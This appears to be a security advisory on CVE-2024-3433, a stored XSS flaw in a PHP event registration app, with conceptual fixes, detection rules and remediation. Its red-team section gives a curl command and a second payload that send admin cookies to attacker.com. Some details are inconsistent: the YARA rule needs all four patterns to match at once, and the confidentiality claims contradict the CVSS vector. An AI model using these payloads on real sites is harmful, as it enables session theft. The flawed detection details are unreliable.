CVE-2024-3433

Executive Summary

CVE-2024-3433 is a stored cross-site scripting (XSS) vulnerability in PuneethReddyHC Event Management 1.0, specifically within the /backend/register.php endpoint. The vulnerability allows an unauthenticated remote attacker to inject arbitrary JavaScript or HTML via the event_id, full_name, email, mobile, college, or branch parameters. With a CVSS score of 3.5 (Low), the impact is limited to confidentiality and integrity compromise through user interaction, but it can be chained with other attacks for credential theft or session hijacking. No public exploit code or patch exists, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 3.5 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Low. Exploitation requires user interaction (e.g., clicking a crafted link), and the impact is limited to data integrity. However, in a real-world scenario, XSS can be leveraged for session theft or phishing.

Deep Dive & Mechanics

The vulnerability resides in the register.php script, which processes user registration for events. The script fails to sanitize or escape user-supplied input before storing it in the database or rendering it in the response. An attacker can submit a POST request to /backend/register.php with malicious payloads in any of the following parameters:

• event_id
• full_name
• email
• mobile
• college
• branch

When an administrator or another user views the registration data (e.g., via an admin panel), the injected script executes in their browser context. This is a classic stored XSS (CWE-79) scenario.

Root Cause: Lack of input validation and output encoding. The application likely uses $_POST directly without functions like htmlspecialchars() or prepared statements.

Attack Flow:

1. Attacker crafts a POST request with a payload like <script>alert('XSS')</script> in the full_name field.
2. The server stores the payload in the database.
3. An admin visits the registration list page, which renders the stored data without sanitization.
4. The script executes, potentially stealing cookies or redirecting the admin.

Vulnerable vs. Patched Code

Vulnerable Code (register.php - conceptual):

<?php
$full_name = $_POST['full_name'];
$sql = "INSERT INTO registrations (full_name) VALUES ('$full_name')";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<td>$full_name</td>";
?>

Patched Code (conceptual):

<?php
$full_name = htmlspecialchars($_POST['full_name'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO registrations (full_name) VALUES (?)");
$stmt->bind_param("s", $full_name);
$stmt->execute();
// Later, when displaying:
echo "<td>" . htmlspecialchars($row['full_name'], ENT_QUOTES, 'UTF-8') . "</td>";
?>

No official patch exists; the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running PuneethReddyHC Event Management 1.0
• Access to the /backend/register.php endpoint

Exploit Steps:

1. Identify the registration form or directly POST to /backend/register.php.
2. Inject a payload in any parameter. Example using curl:

   curl -X POST http://target/backend/register.php \
     -d "event_id=1&full_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>&email=test@test.com&mobile=1234567890&college=test&branch=test"
   

3. Wait for an admin to view the registration list. The script will execute, sending the admin's cookies to the attacker's server.

Alternative Payload (session hijacking):

<script>new Image().src='http://attacker.com/log?c='+document.cookie</script>

Blue Team (Defense & Detection)

Detection:

• Monitor HTTP POST requests to /backend/register.php for suspicious patterns like <script, onerror=, or javascript:.
• Use WAF rules to block common XSS payloads.

Honeypot:

• Deploy a fake registration form that logs all input. Any script injection indicates an attack.

Log Analysis:

• Look for unusual parameters in POST requests to register.php that contain HTML tags or JavaScript.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /backend/register.php with parameters containing <script>, onerror, onload, or javascript:.
  • Outbound connections to attacker-controlled domains from the server (e.g., attacker.com).

• File IOCs:

  • Modified register.php file (if attacker gains write access).
  • Suspicious entries in the database registrations table containing HTML/JS.

• Behavioral IOCs:

  • Unexpected admin account activity (e.g., password changes, new admin creation).
  • Unusual HTTP Referer headers pointing to the registration page.

Detection Engineering

YARA Rule

rule CVE_2024_3433_XSS_Register {
    meta:
        description = "Detects XSS payloads in POST to /backend/register.php"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-3433"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
        $param = /event_id=|full_name=|email=|mobile=|college=|branch=/
    condition:
        all of ($xss*) and $param
}

Sigma Rule

title: XSS Attempt on Event Management Register Endpoint
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in POST requests to /backend/register.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/backend/register.php'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in registration fields (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3433 XSS Attempt on Event Management Register"; flow:to_server,established; content:"POST"; http_method; content:"/backend/register.php"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize all input fields in register.php using filter_var() or htmlspecialchars().
2. Output Encoding: Encode all output when displaying registration data.
3. Content Security Policy (CSP): Implement a strict CSP header to block inline scripts.
4. Web Application Firewall (WAF): Deploy rules to block XSS patterns.

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one. Since the vendor is unresponsive, consider rewriting the application or migrating to a supported alternative.

Workaround:

• Disable the registration functionality if not critical.
• Restrict access to /backend/register.php via IP whitelisting or authentication.

Valters IT
Securing Digital Frontiers